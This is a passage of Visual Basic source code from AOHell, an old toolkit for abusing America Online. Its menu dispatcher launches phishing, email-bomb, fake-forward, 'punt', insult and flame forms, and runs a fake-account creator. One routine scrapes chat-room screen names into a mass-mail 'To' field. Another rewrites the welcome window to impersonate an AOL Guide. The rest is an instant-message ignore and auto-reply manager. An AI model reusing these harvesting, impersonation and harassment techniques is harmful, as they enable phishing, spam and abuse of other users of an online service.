        On Error GoTo crediterr

        CreditPATH = App.Path + "\crdtwiz.exe"
        x = Shell(CreditPATH, 1)

        init1.Filename = "aohell.ini"
        init1.Application = "Options"
        init1.Parameter = "ShowMenu"
        Dab = init1.Value
        If Dab = "yes" Then GoTo en14 Else AOHell.Hide

en14:
      End If

      If IsDil = 609 Then QuickFTP.Show
      If IsDil = 610 Then RESETSN2.Show
      If IsDil = 611 Then RoomBust.Show
      If IsDil = 612 Then
        GoTo GhostBeg

GhostErr:
        MsgBox "GHOSTOOL.EXE not found in the AOH directory!  Cannot load Ghost Tools.", 16, "Cannot load Ghost Tools"
        Exit Sub

GhostBeg:
        On Error GoTo GhostErr

        GhostPATH = App.Path + "\ghostool.exe"
        x = Shell(GhostPATH, 1)

        init1.Filename = "aohell.ini"
        init1.Application = "Options"
        init1.Parameter = "ShowMenu"
        Dab = init1.Value
        If Dab = "yes" Then GoTo en6 Else AOHell.Hide

en6:
      End If

      If IsDil = 613 Then Suggestion.Show
      If IsDil = 614 Then Phish.Show
      If IsDil = 615 Then Options.Show
      If IsDil = 616 Then ResetSN.Show
      If IsDil = 617 Then
        GoTo harbar

heho:
        Exit Sub

harbar:
        On Error GoTo heho

        If SignStatus = 0 Then
          MsgBox "You must be signed on to AOL before you can use this feature!", 16, "Oops"
          Exit Sub
        End If

        MultiChat.Show
DoEvents
Call Pause(2)
AOL% = FindWindow(0, "America  Online")
z = ShowWindow(AOL%, 2)

      End If

      If IsDil = 618 Then
        GoTo Freb

ErrFreb:
        Exit Sub

Freb:
        On Error GoTo ErrFreb

        thiswin% = FindWindow(0, "America  Online")

        SendHand1 = VBEnumChildWindows(thiswin%, -1)
        For x = 1 To SendHand1
          rb = VBEnumChildWindows(thiswin%, x)
          z = ShowWindow(rb, 4)

        Next x
      End If
      If IsDil = 619 Then
        GoTo stw

Errstw:
        Exit Sub

stw:
        On Error GoTo Errstw

        If SignStatus = 0 Then
          MsgBox "You must be signed on to AOL before you can use this feature!", 16, "Not Signed On!"
          Exit Sub
        End If

        WarezBot.Show
      End If
      If IsDil = 620 Then
        GoTo Beg9

Err9:
        Exit Sub

Beg9:
        On Error GoTo Err9

        AIBot.Show
        DoEvents
        AIBot.Timer2.Enabled = False
      End If
      If IsDil = 621 Then
        GoTo bege2
titsluck3:
        aolbot.Show
        Exit Sub

bege2:
        On Error GoTo titsluck3

        aolbot.Show
      End If
      If IsDil = 622 Then MM2.Show
      If IsDil = 623 Then
        If SignStatus = 0 Then
          MsgBox "You must be signed on to AOL before you can use this feature!", 16, "Not Signed On!"
          Exit Sub
        End If

        Main.Text1.Text = ""
        thiswin% = FindWindow(0, "America  Online")
        PeopleList = FindChildByClass(thiswin%, "_AOL_Listbox")

        x = SendMessage(PeopleList, LB_GETCOUNT, 0, 0)
        Cur = 0
        AppActivate "America  Online"
        DoEvents
        Call Pause(1)
        MBox = FindWindow(0, "America Online")
        If MBox <> 0 Then
          DoEvents
          SendKeys "{ENTER}"
          DoEvents
        End If
      ' ForwardHand = VBEnumChildWindows(MDIClient1, 1)
        MDIClient1 = FindChildByClass(thiswin%, "MDIClient")

        For Y = 1 To x

          SetCur = SendMessage(PeopleList, LB_SETCURSEL, Cur, 0)
          Cur = Y
          VBMsg1.SubClasshWnd = PeopleList
          VBMsg1.SendMessage = WM_LBUTTONDBLCLK
          DoEvents
          Call Pause(.01)

          UserNam = VBEnumChildWindows(MDIClient1, 1)
          lint = 10000
          lpstring = Space(10000)

          z = SendMessageByString(UserNam, WM_GETTEXT, lint, lpstring)  ',lint
          lpstring = Trim$(lpstring)
          Text1.Text = Text1.Text + ", " + lpstring
          Leng = Len(DaSting)

        Next Y
        cbt = Text1.Text
        cbt = Mid$(cbt, 3)
        cbt1 = InStr(1, cbt, ScreenName)
        If cbt1 > 0 Then
          fob = Len(ScreenName)
          fob = fob + 2
          gog1 = cbt1 + fob
          chank1 = cbt1
          chank2 = Mid$(cbt, 1, chank1)
          chank3 = Mid$(cbt, gog1)
          Text1.Text = chank2 + chank3

          SendKeys "%MC"
          DoEvents
          Call Pause(1.5)
          ComposeHand = FindChildByTitle(thiswin%, "Compose Mail")
          SendButton2 = VBEnumChildWindows(ComposeHand, 2)
          ToField = VBEnumChildWindows(ComposeHand, 10)
          SubField = VBEnumChildWindows(ComposeHand, 14)
          MsgField = VBEnumChildWindows(ComposeHand, 17)

          lint = 20000
          lpstring = Text1.Text

          ToText = SendMessageByString(ToField, WM_SETTEXT, lint, lpstring) ',lint

        End If
      End If
      If IsDil = 624 Then
        MsgBox "Open the Mailbox you want AOHell to count (i.e. ""New Mail""), and wait for hour glass to go away.  Then hit the OK button to this message."

        thiswin% = FindWindow(0, "America  Online")
        PeopleList = FindChildByClass(thiswin%, "_AOL_Tree")

        x = SendMessage(PeopleList, LB_GETCOUNT, 0, 0)
        MsgBox "You have" + Str(x) + " messages in your box."

      End If
      If IsDil = 625 Then Ebomb.Show
      If IsDil = 626 Then FakeForward.Show
      If IsDil = 627 Then

        GoTo bege3

titsluck2:
        AOL% = FindWindow(0, "America  Online")

        ab = GetMenu(AOL%)

        For T = 1 To 10

          d = RemoveMenu(ab, 6, MF_BYPOSITION)
          DoEvents
        Next T
        Call DrawMenuBar(AOL%)
        DoEvents

        End
        Exit Sub

bege3:

        On Error GoTo titsluck2

      'Begin:

        Response = MsgBox("Are you sure you want to exit AOHell?", 292, "Exit AOHell")
      'Possible Response values: 6--YES, 7--NO.
        If Response = 6 Then

          init1.Filename = "aohell.ini"
          init1.Application = "Options"
          init1.Parameter = "Sounds"

          If init1.Value = "yes" Then

            SoundName$ = WD$ + "\chronic.wav"
            wFlags% = SND_ASYNC And SND_NODEFAULT
            F% = sndPlaySound(SoundName$, wFlags%)

          Else
            AOL% = FindWindow(0, "America  Online")

            ab = GetMenu(AOL%)

            For T = 1 To 10

              d = RemoveMenu(ab, 6, MF_BYPOSITION)
              DoEvents
            Next T
            Call DrawMenuBar(AOL%)
            DoEvents

            End

          End If

          AOL% = FindWindow(0, "America  Online")

          ab = GetMenu(AOL%)

          For T = 1 To 10

            d = RemoveMenu(ab, 6, MF_BYPOSITION)
            DoEvents
          Next T
          Call DrawMenuBar(AOL%)
          DoEvents

          End
        ElseIf Response = 7 Then
          Main.Show
        End If
      'ending:
      End If

      If IsDil = 628 Then
        GoTo AccountBeg

AccountErr:
        MsgBox "ACCOUNT.EXE not found in the AOH directory!  Cannot load the AOHell Fake Account Creator.", 16, "Cannot Load"
        Exit Sub

AccountBeg:
        On Error GoTo AccountErr

        AccountPATH = App.Path + "\account.exe"
        x = Shell(AccountPATH, 1)

        init1.Filename = "aohell.ini"
        init1.Application = "Options"
        init1.Parameter = "ShowMenu"
        Dab = init1.Value
        If Dab = "yes" Then GoTo en27 Else AOHell.Hide

en27:
      End If
      If IsDil = 629 Then MailFix.Show
      If IsDil = 630 Then
        If SignStatus = 0 Then
          MsgBox "You must be signed on to AOL before you can use this feature!", 16, "Not Signed On!"
          Exit Sub
        End If

        IManager.Show
      End If
      If IsDil = 631 Then
        If SignStatus = 0 Then
          MsgBox "You must be signed on to AOL before you can use this feature!", 16, "Not Signed On!"
          Exit Sub
        End If

        IMRoom.Show
      End If
      If IsDil = 632 Then
        AppActivate "America  Online"
        DoEvents
        SendKeys "%B"
        DoEvents
        Call Pause(.5)
        SendKeys "{DOWN 3}" + "{ENTER}"
       ' SendKeys Chr$(9)
        DoEvents
        Call Pause(.5)
        SendKeys "$im_off" + "{TAB}", True
        SendKeys "AOH" + "{TAB}", True
        SendKeys " ", True
        DoEvents
        Call Pause(1)
        SendKeys "{ENTER}"
    find12% = FindChildByTitle(thiswin%, "Send Instant Message")

      Main.VBMsg1.SubClasshWnd = find12%
      Main.VBMsg1.SendMessage = WM_CLOSE

      End If
      If IsDil = 633 Then
        AppActivate "America  Online"
        DoEvents
        SendKeys "%B"
        DoEvents
        Call Pause(.5)
        SendKeys "{DOWN 3}" + "{ENTER}", True
       ' SendKeys Chr$(9)
        DoEvents
        Call Pause(.5)
        SendKeys "$im_on" + "{TAB}", True
        SendKeys "AOH" + "{TAB}", True
        SendKeys " ", True
        DoEvents
        Call Pause(1)
        SendKeys "{ENTER}"
    find12% = FindChildByTitle(thiswin%, "Send Instant Message")

      Main.VBMsg1.SubClasshWnd = find12%
      Main.VBMsg1.SendMessage = WM_CLOSE

      End If

      If IsDil = 634 Then
If SignStatus = 0 Then
MsgBox "You must be signed on to AOL before you can use this feature!", 16, "Not Signed On!"
Exit Sub
End If
   insults.Show
End If
          If IsDil = 635 Then
If SignStatus = 0 Then
MsgBox "You must be signed on to AOL before you can use this feature!", 16, "Not Signed On!"
Exit Sub
End If

DriveH.Show
End If
       If IsDil = 636 Then
form7.Show
DoEvents

End If
     If IsDil = 637 Then dice.Show
     If IsDil = 638 Then LT1 = MiddleMac(IsDil)
     If IsDil = 639 Then LT1 = Flame(IsDil)
     If IsDil = 640 Then LT1 = BRB(IsDil)

      If IsDil = 641 Then
        If SignStatus = 0 Then
          MsgBox "You must be signed on to AOL before you can use this feature!", 16, "Oops"
          Exit Sub
        End If

        GoTo mIRCBeg

mterr:
        Resume bar1

mIRCErr:
        MsgBox "MIRC.EXE not found in the AOH\MIRC directory!  Cannot start IRC.", 16, "Cannot Load IRC"
        Exit Sub

mIRCBeg:
        On Error GoTo mIRCErr

        Response = MsgBox("Would you like to start the Multi-Task Chat Room so you can talk on AOL and IRC at the same time?", 292, "Start Multi-Task Chat Room?")
      'Possible Response values: 6--YES, 7--NO.
        If Response = 6 Then
          On Error GoTo mterr:
          MultiChat.Show
          DoEvents
Call Pause(2)
AOL% = FindWindow(0, "America  Online")
z = ShowWindow(AOL%, 2)

        End If

bar1:

        mIRCPATH = App.Path + "\mirc.exe"
        x = Shell(mIRCPATH, 1)

        init1.Filename = "aohell.ini"
        init1.Application = "Options"
        init1.Parameter = "ShowMenu"
        Dab = init1.Value
        If Dab = "yes" Then GoTo enmIRC Else AOHell.Hide

enmIRC:
      End If

        If IsDil = 642 Then
If SignStatus = 0 Then
MsgBox "You must be signed on to AOL before you can use this feature!", 16, "Oops"
Exit Sub
End If

    TempName1 = ScreenName
C1 = "D"

thiswin% = FindWindow(0, "America  Online")
  find14% = FindChildByTitle(thiswin%, "Welcome,")
    DoEvents

lint = 50
C2 = "C"

lpstring = "Welcome, Guide " + C1 + C2 + "!"

x = SendMessageByString(find14%, WM_SETTEXT, lint, lpstring) ',lint
        DoEvents

GoTo IVYBeg

IVYErr:
MsgBox "Error - Cannot run Guide software!  Sign off, then back on, restart AOHell, and try again!", 16, "Cannot Start Guide Software"
Exit Sub

IVYBeg:

IVYPATH = WD$ + "\WINFILE1.EXE"
x = Shell(IVYPATH, 1)
'MsgBox mIRCPATH
thiswin2% = FindWindow(0, "IVY Macros")
While thiswin2% = 0
DoEvents
thiswin2% = FindWindow(0, "IVY Macros")
DoEvents
Wend
DoEvents
DoEvents
Call Pause(3)
DoEvents
DoEvents
Call Pause(3)
DoEvents
DoEvents
Call Pause(3)
DoEvents
Call Pause(1)

lpstring = "Welcome, " + TempName1 + "!"

x = SendMessageByString(find14%, WM_SETTEXT, lint, lpstring) ',lint

init1.Filename = "aohell.ini"
init1.Application = "Options"
init1.Parameter = "ShowMenu"
Dab = init1.Value
If Dab = "yes" Then GoTo endIVY Else AOHell.Hide

endIVY:
End If
         If IsDil = 643 Then
GoTo GathBeg

GathErr:
Exit Sub

GathBeg:
On Error GoTo GathErr

MsgBox "Open your New Mail and wait for hourglass to go away.  Then hit the OK button to this message."

      thiswin% = FindWindow(0, "America  Online")
      ListHand = FindChildByClass(thiswin%, "_AOL_Tree")

  T = SendMessage(ListHand, LB_GETCOUNT, 0, 0)

Cur = 0
      ret = Chr$(13) + Chr$(10)

For Y = 1 To T
 'SetCur = SendMessage(ListHand, LB_SETCURSEL, Cur, 0)
z = SendMessage(ListHand, LB_GETTEXTLEN, Cur, 0)
lpstring = Space(z)
x = SendMessageByString(ListHand, LB_GETTEXT, Cur, lpstring) ',lint
lpstring = Trim$(lpstring)
TheString = TheString + ret + lpstring
Cur = Y
Next Y
Clipboard.SetText TheString
DoEvents
AppActivate "America  Online"
DoEvents
SendKeys Chr$(14)
DoEvents
Call Pause(.2)
SendKeys Chr$(22)
 End If
            If IsDil = 644 Then form3.Show
            If IsDil = 645 Then punt.Show
            If IsDil = 646 Then LT2 = DupeKiller(IsDil)
            If IsDil = 647 Then LT2 = MacKill(IsDil)
    End If

  End Sub

  Sub VBMsg2_WindowMessage (hWindow As Integer, Msg As Integer, wParam As Integer, lParam As Long, RetVal As Long, CallDefProc As Integer)
  '  If wParam = 0 Then Exit Sub

    Dim Dil As String
    Dim rc As Integer
    Dim MenuID As String * 40

    VBMsg2.lParam = lParam  'parse out LoWord and HiWord values

    dorn = Msg + Str(wParam)
    If dorn = "287" And lParam = 65535 Then
      DidMen = 1
    End If

     '   If wParam = 0 Then Exit Sub
      'IsDil = wParam

    If (VBMsg2.LoWord And MF_SYSMENU) Or (VBMsg2.LoWord And MF_SEPARATOR) Then

    Else
    IsDil = wParam
    End If

  End Sub

  Sub Check3D1_Click (Value As Integer)
    If Check3D1.Value = True Then Check3D2.Value = False

  End Sub

  Sub Check3D2_Click (Value As Integer)
    If Check3D2.Value = True Then Check3D1.Value = False

  End Sub

  Sub Check3D3_Click (Value As Integer)
    If Check3D3.Value = True Then Check3D4.Value = False

  End Sub

  Sub Check3D4_Click (Value As Integer)
    If Check3D4.Value = True Then Check3D3.Value = False

  End Sub

  Sub Command3D1_Click ()
    GoTo Start1

    Listerr1:
    Exit Sub

    Start1:
    On Error GoTo Listerr1
    If Text1.Text = "" Then
      Exit Sub
    Else
      List1.AddItem Text1.Text
      Text1.Text = ""
      Text1.SetFocus
    End If

  End Sub

  Sub Command3D1_GotFocus ()
    Command3D1.FontBold = True

  End Sub

  Sub Command3D1_LostFocus ()
    Command3D1.FontBold = False

  End Sub

  Sub Command3D10_Click ()
  End Sub

  Sub Command3D2_Click ()
    List1.Clear

  End Sub

  Sub Command3D2_GotFocus ()
    Command3D2.FontBold = True

  End Sub

  Sub Command3D2_LostFocus ()
    Command3D2.FontBold = False

  End Sub

  Sub Command3D3_Click ()
    IMessage1.Show

  End Sub

  Sub Command3D4_Click ()
    GoTo Start2

    Listerr2:
    Exit Sub

    Start2:
    On Error GoTo Listerr2
    If Text2.Text = "" Then
      Exit Sub
    Else
      List2.AddItem Text2.Text
      Text2.Text = ""
      Text2.SetFocus
    End If

  End Sub

  Sub Command3D4_GotFocus ()
    Command3D4.FontBold = True

  End Sub

  Sub Command3D4_LostFocus ()
    Command3D4.FontBold = False

  End Sub

  Sub Command3D5_Click ()
    List2.Clear

  End Sub

  Sub Command3D5_GotFocus ()
    Command3D5.FontBold = True

  End Sub

  Sub Command3D5_LostFocus ()
    Command3D5.FontBold = False

  End Sub

  Sub Command3D6_Click ()
    GoTo ignbeg

    ingerr:
    Resume Next3

    ignerr:
    Resume Next4

    Lasterr:

    Exit Sub

    ignbeg:
    On Error GoTo ingerr

    If Check3D1.Value = True Or Check3D2.Value = True Or Check3D3.Value = True Or Check3D4.Value = True Then

      Timer1.Enabled = True
      Timer2.Enabled = True

    End If

    If Check3D3.Value = True Or Check3D4.Value = True Then
      If IMessage = "" Then
        MsgBox "You must enter an Auto-Answer reply message first.", 16, "No Reply Message Specified!"
        Exit Sub
      End If
    End If

    List2.ListIndex = 0
    juju = List2.ListCount

    For X = 1 To juju

      jacko1 = List2.List(List2.ListIndex)
      If Ignore1 = "" Then
        Ignore1 = jacko1
        GoTo kewl
      End If
      If Ignore2 = "" Then
        Ignore2 = jacko1
        GoTo kewl
      End If
      If Ignore3 = "" Then
        Ignore3 = jacko1
        GoTo kewl
      End If
      If Ignore4 = "" Then
        Ignore4 = jacko1
        GoTo kewl
      End If
      If Ignore5 = "" Then
        Ignore5 = jacko1
        GoTo kewl
      End If
      If Ignore6 = "" Then
        Ignore6 = jacko1
        GoTo kewl
      End If
      If Ignore7 = "" Then
        Ignore7 = jacko1
        GoTo kewl
      End If
      If Ignore8 = "" Then
        Ignore8 = jacko1
        GoTo kewl
      End If
      If Ignore9 = "" Then
        Ignore9 = jacko1
        GoTo kewl
      End If
      If Ignore10 = "" Then
        Ignore10 = jacko1
        GoTo kewl
      End If
      If Ignore11 = "" Then
        Ignore11 = jacko1
        GoTo kewl
      End If
      If Ignore12 = "" Then
        Ignore12 = jacko1
        GoTo kewl
      End If
      If Ignore13 = "" Then
        Ignore13 = jacko1
        GoTo kewl
      End If
      If Ignore14 = "" Then
        Ignore14 = jacko1
        GoTo kewl
      End If
      If Ignore15 = "" Then
        Ignore15 = jacko1
        GoTo kewl
      End If
      If Ignore16 = "" Then
        Ignore16 = jacko1
        GoTo kewl
      End If
      If Ignore17 = "" Then
        Ignore18 = jacko1
        GoTo kewl
      End If
      If Ignore18 = "" Then
        Ignore18 = jacko1
        GoTo kewl
      End If
      If Ignore19 = "" Then
        Ignore19 = jacko1
        GoTo kewl
      End If
      If Ignore20 = "" Then
        Ignore20 = jacko1
        GoTo kewl
      End If

      kewl:

      List2.ListIndex = List2.ListIndex + 1
    Next X

    Next3:
    On Error GoTo ignerr

    List1.ListIndex = 0
    juju1 = List1.ListCount

    For Y = 1 To juju1

      jacko2 = List1.List(List1.ListIndex)
      If IM1 = "" Then
        IM1 = jacko2
        GoTo kewl1
      End If
      If IM2 = "" Then
        IM2 = jacko2
        GoTo kewl1
      End If
      If IM3 = "" Then
        IM3 = jacko2
        GoTo kewl1
      End If
      If IM4 = "" Then
        IM4 = jacko2
        GoTo kewl1
      End If
      If IM5 = "" Then
        IM5 = jacko2
        GoTo kewl1
      End If
      If IM6 = "" Then
        IM6 = jacko2
        GoTo kewl1
      End If
      If IM7 = "" Then
        IM7 = jacko2
        GoTo kewl1
      End If
      If IM8 = "" Then
        IM8 = jacko2
        GoTo kewl1
      End If
      If IM9 = "" Then
        IM9 = jacko2
        GoTo kewl1
      End If
      If IM10 = "" Then
        IM10 = jacko2
        GoTo kewl1
      End If
      If IM11 = "" Then
        IM11 = jacko2
        GoTo kewl1
      End If
      If IM12 = "" Then
        IM12 = jacko2
        GoTo kewl1
      End If
      If IM13 = "" Then
        IM13 = jacko2
        GoTo kewl1
      End If
      If IM14 = "" Then
        IM14 = jacko2
        GoTo kewl1
      End If
      If IM15 = "" Then
        IM15 = jacko2
        GoTo kewl1
      End If
      If IM16 = "" Then
        IM16 = jacko2
        GoTo kewl1
      End If
      If IM17 = "" Then
        IM17 = jacko2
        GoTo kewl1
      End If
      If IM18 = "" Then
        IM18 = jacko2
        GoTo kewl1
      End If
      If IM19 = "" Then
        IM19 = jacko2
        GoTo kewl1
      End If
      If IM20 = "" Then
        IM20 = jacko2
        GoTo kewl1
      End If

      kewl1:
      List1.ListIndex = List1.ListIndex + 1
    Next Y

    Next4:
    On Error GoTo Lasterr

    IManager.Hide
    IM1 = UCase$(IM1)
    IM2 = UCase$(IM2)
    IM3 = UCase$(IM3)
    IM4 = UCase$(IM4)
    IM5 = UCase$(IM5)
    IM6 = UCase$(IM6)
    IM7 = UCase$(IM7)
    IM8 = UCase$(IM8)
    IM9 = UCase$(IM9)
    IM10 = UCase$(IM10)
    IM11 = UCase$(IM11)
    IM12 = UCase$(IM12)
    IM13 = UCase$(IM13)
    IM14 = UCase$(IM14)
    IM15 = UCase$(IM15)
    IM16 = UCase$(IM16)
    IM17 = UCase$(IM17)
    IM18 = UCase$(IM18)
    IM19 = UCase$(IM19)
    IM20 = UCase$(IM20)

    Ignore1 = UCase$(Ignore1)
    Ignore2 = UCase$(Ignore2)
    Ignore3 = UCase$(Ignore3)
    Ignore4 = UCase$(Ignore4)
    Ignore5 = UCase$(Ignore5)
    Ignore6 = UCase$(Ignore6)
    Ignore7 = UCase$(Ignore7)
    Ignore8 = UCase$(Ignore8)
    Ignore9 = UCase$(Ignore9)
    Ignore10 = UCase$(Ignore10)
    Ignore11 = UCase$(Ignore11)
    Ignore12 = UCase$(Ignore12)
    Ignore13 = UCase$(Ignore13)
    Ignore14 = UCase$(Ignore14)
    Ignore15 = UCase$(Ignore15)
    Ignore16 = UCase$(Ignore16)
    Ignore17 = UCase$(Ignore17)
    Ignore18 = UCase$(Ignore18)
    Ignore19 = UCase$(Ignore19)
    Ignore20 = UCase$(Ignore20)

  End Sub

  Sub Command3D7_Click ()
    GoTo begin1

    titfuck1:
    Resume Next1

    titfuck2:

    Close #1
    Close #2
    Exit Sub

    begin1:
    On Error GoTo titfuck1

    CMDialog1.DialogTitle = "Save IM Manager Settings File"
    CMDialog1.Action = 2

    xfilnam$ = CMDialog1.Filename

    Open xfilnam$ For Output As #1

    numims1 = List1.ListCount
    numims2 = List2.ListCount

    Write #1, IMessage

    If Check3D1.Value = True Then option1 = "1" Else option1 = "0"
    If Check3D2.Value = True Then option2 = "1" Else option2 = "0"
    If Check3D3.Value = True Then option3 = "1" Else option3 = "0"
    If Check3D4.Value = True Then option4 = "1" Else option4 = "0"

    Write #1, option1, option2, option3, option4

    Write #1, numims1

    num = 0
    List1.ListIndex = 0

    If numims1 > 0 Then

      For X = 1 To numims1

        jacko1 = List1.List(List1.ListIndex)
        Write #1, jacko1
        List1.ListIndex = List1.ListIndex + 1

      Next X

      Next1:
      On Error GoTo titfuck2

    End If

    Close #1

    file2 = Len(xfilnam$) - 3
    file3 = Mid$(xfilnam$, 1, file2)
    file4 = file3 + "aoh"

    Open file4 For Output As #2

    Write #2, numims2

    num = 0
    List2.ListIndex = 0

    If numims2 > 0 Then

      For Y = 1 To numims2

        jacko2 = List2.List(List2.ListIndex)
        Write #2, jacko2
        List2.ListIndex = List2.ListIndex + 1

      Next Y
    End If

    Close #2

  End Sub

  Sub Command3D8_Click ()
    GoTo begin3:

    titfuck3:
    Resume next2

    listerr4:
    Close #1
    Close #2
    Exit Sub

    begin3:
    On Error GoTo titfuck3

    For xy = 1 To 60
      IMList1(xy) = ""
    Next xy

    CMDialog1.DialogTitle = "Open IM Manager Settings File"
    CMDialog1.Action = 1

    xfilnam$ = CMDialog1.Filename

    Open xfilnam$ For Input As #1

    Input #1, IMessage, option1, option2, option3, option4, numberims1

    If option1 = "1" Then Check3D1.Value = True Else Check3D1.Value = False
    If option2 = "1" Then Check3D2.Value = True Else Check3D2.Value = False
    If option3 = "1" Then Check3D3.Value = True Else Check3D3.Value = False
    If option4 = "1" Then Check3D4.Value = True Else Check3D4.Value = False

    For Y = 1 To numberims1
      Input #1, IMList1(Y)
      List1.AddItem IMList1(Y)
    Next Y
    next2:
    On Error GoTo listerr4

    Close #1

    file2 = Len(xfilnam$) - 3
    file3 = Mid$(xfilnam$, 1, file2)
    file4 = file3 + "aoh"

    For xy1 = 1 To 60
      IMList2(xy1) = ""
    Next xy1

    Open file4 For Input As #2

    Input #2, numberims2

    For z = 1 To numberims2
      Input #2, IMList2(z)
      List2.AddItem IMList2(z)
    Next z
    Close #2

  End Sub

  Sub Command3D9_Click ()
    SendKeys "{F1}"
    DoEvents

  End Sub

  Sub Form_Load ()
    Dim Success As Integer

    Success% = SetWindowPos%(IManager.hWnd, HWND_TOPMOST, 0, 0, 0, 0, FLAGS)

    Timer1.Enabled = False
    Timer2.Enabled = False

    thiswin% = FindWindow(0, "America  Online")
    thiswin22 = FindWindow(0, "America  Online")
    MDIClient = FindChildByClass(thiswin%, "MDIClient")
    VBMsg2.SubClasshWnd = MDIClient

  End Sub

  Sub Form_Resize ()
    Dim Success As Integer

    Success% = SetWindowPos%(IManager.hWnd, HWND_TOPMOST, 0, 0, 0, 0, FLAGS)

  End Sub

  Sub Text1_KeyDown (KeyCode As Integer, Shift As Integer)
    If KeyCode = KEY_RETURN Then
      Call Command3D1_Click
    End If

  End Sub

  Sub Text2_KeyDown (KeyCode As Integer, Shift As Integer)
    If KeyCode = KEY_RETURN Then
      Call Command3D4_Click
    End If

  End Sub

  Sub Timer1_Timer ()
    GoTo Time1Start

    Time1Err:
    Exit Sub

    Time1Start:
    On Error GoTo Time1Err

    If Check3D1.Value = True Or Check3D2.Value = True Then

      Dim trimed As String, Sender As String

      find13% = FindChildByTitle(thiswin22, ">Instant")
      While find13% > 0
        VBMsg2.SubClasshWnd = find13%
        lint = 70
        lpstring = Space(70)
        X = SendMessagebyString(find13%, WM_GETTEXT, lint, lpstring)    ',lint
        trimed = Trim$(lpstring)
        Sender = Mid$(trimed, 23)
        Sender1 = UCase$(Sender)
      ' MsgBox Sender1
        If Not Ignore1 = "" Then a1 = InStr(Sender1, Ignore1)
        If Not Ignore2 = "" Then b1 = InStr(Sender1, Ignore2)
        If Not Ignore3 = "" Then c1 = InStr(Sender1, Ignore3)
        If Not Ignore4 = "" Then d1 = InStr(Sender1, Ignore4)
        If Not Ignore5 = "" Then e1 = InStr(Sender1, Ignore5)
        If Not Ignore6 = "" Then f1 = InStr(Sender1, Ignore6)
        If Not Ignore7 = "" Then g1 = InStr(Sender1, Ignore7)
        If Not Ignore8 = "" Then h1 = InStr(Sender1, Ignore8)
        If Not Ignore9 = "" Then i1 = InStr(Sender1, Ignore9)
        If Not Ignore10 = "" Then j1 = InStr(Sender1, Ignore10)
        If Not Ignore11 = "" Then k1 = InStr(Sender1, Ignore11)
        If Not Ignore12 = "" Then l1 = InStr(Sender1, Ignore12)
        If Not Ignore13 = "" Then m1 = InStr(Sender1, Ignore13)
        If Not Ignore14 = "" Then n1 = InStr(Sender1, Ignore14)
        If Not Ignore15 = "" Then o1 = InStr(Sender1, Ignore15)
        If Not Ignore16 = "" Then p1 = InStr(Sender1, Ignore16)
        If Not Ignore17 = "" Then q1 = InStr(Sender1, Ignore17)
        If Not Ignore18 = "" Then r1 = InStr(Sender1, Ignore18)
        If Not Ignore19 = "" Then s1 = InStr(Sender1, Ignore19)
        If Not Ignore20 = "" Then t1 = InStr(Sender1, Ignore20)
        If Check3D2.Value = True Then

          If a1 > 0 Or b1 > 0 Or c1 > 0 Or d1 > 0 Or e1 > 0 Or f1 > 0 Or g1 > 0 Or h1 > 0 Or i1 > 0 Or j1 > 0 Or k1 > 0 Or l1 > 0 Or m1 > 0 Or n1 > 0 Or o1 > 0 Or p1 > 0 Or q1 > 0 Or r1 > 0 Or s1 > 0 Or t1 > 0 Then

            VBMsg2.SendMessage = WM_CLOSE
          End If
        End If
        If Check3D1.Value = True Then

          If a1 > 0 Or b1 > 0 Or c1 > 0 Or d1 > 0 Or e1 > 0 Or f1 > 0 Or g1 > 0 Or h1 > 0 Or i1 > 0 Or j1 > 0 Or k1 > 0 Or l1 > 0 Or m1 > 0 Or n1 > 0 Or o1 > 0 Or p1 > 0 Or q1 > 0 Or r1 > 0 Or s1 > 0 Or t1 > 0 Then
            xr = 7
          Else
            VBMsg2.SendMessage = WM_CLOSE
          End If
        End If

        find13% = FindChildByTitle(thiswin%, ">Instant")
      Wend
    End If

  End Sub

  Sub Timer2_Timer ()
    GoTo Time2Start

    Time2Err:
    Exit Sub

    Time2Start:
    On Error GoTo Time2Err

  'Static IMSender1
    If Check3D3.Value = True And Not IMessage = "" Or Check3D4.Value = True And Not IMessage = "" Then

      thiswin1% = FindWindow(0, "America  Online")
      newwin = FindChildByTitle(thiswin1%, ">Instant")

      If newwin <> 0 Then
        c = SendMessage(newwin, WM_GETTEXTLENGTH, 0, 0)
        c = c + 1

        lint = c
        lpstring = Space(c)

        X = SendMessagebyString(newwin, WM_GETTEXT, lint, lpstring) ',lint
      '  MsgBox Str(c)

        IMTitle = Trim$(lpstring)
      '     MsgBox IMTitle

        IMSen = InStr(IMTitle, ": ")
        IMSen = IMSen + 1

        IMSender = Mid$(IMTitle, IMSen)

        IMSender = IMSender
        boma = Len(IMSender)
        boma = boma - 1
        IMSender = Mid$(IMSender, 1, boma)

        IMSendCheck = UCase$(IMSender)

        If IMTitle = IMSender1 Then
          Exit Sub
        Else
          IMSender1 = IMTitle

          If Check3D4.Value = True Then
            If Not IM1 = "" Then chrontest1 = InStr(IMSendCheck, IM1)
            If Not IM2 = "" Then chrontest2 = InStr(IMSendCheck, IM2)
            If Not IM3 = "" Then chrontest3 = InStr(IMSendCheck, IM3)
            If Not IM4 = "" Then chrontest4 = InStr(IMSendCheck, IM4)
            If Not IM5 = "" Then chrontest5 = InStr(IMSendCheck, IM5)
            If Not IM6 = "" Then chrontest6 = InStr(IMSendCheck, IM6)
            If Not IM7 = "" Then chrontest7 = InStr(IMSendCheck, IM7)
            If Not IM8 = "" Then chrontest8 = InStr(IMSendCheck, IM8)
            If Not IM9 = "" Then chrontest9 = InStr(IMSendCheck, IM9)
            If Not IM10 = "" Then chrontest10 = InStr(IMSendCheck, IM10)
            If Not IM11 = "" Then chrontest11 = InStr(IMSendCheck, IM11)
            If Not IM12 = "" Then chrontest12 = InStr(IMSendCheck, IM12)
            If Not IM13 = "" Then chrontest13 = InStr(IMSendCheck, IM13)
            If Not IM14 = "" Then chrontest14 = InStr(IMSendCheck, IM14)
            If Not IM15 = "" Then chrontest15 = InStr(IMSendCheck, IM15)
            If Not IM16 = "" Then chrontest16 = InStr(IMSendCheck, IM16)
            If Not IM17 = "" Then chrontest17 = InStr(IMSendCheck, IM17)
            If Not IM18 = "" Then chrontest18 = InStr(IMSendCheck, IM18)
            If Not IM19 = "" Then chrontest19 = InStr(IMSendCheck, IM19)
            If Not IM20 = "" Then chrontest20 = InStr(IMSendCheck, IM20)

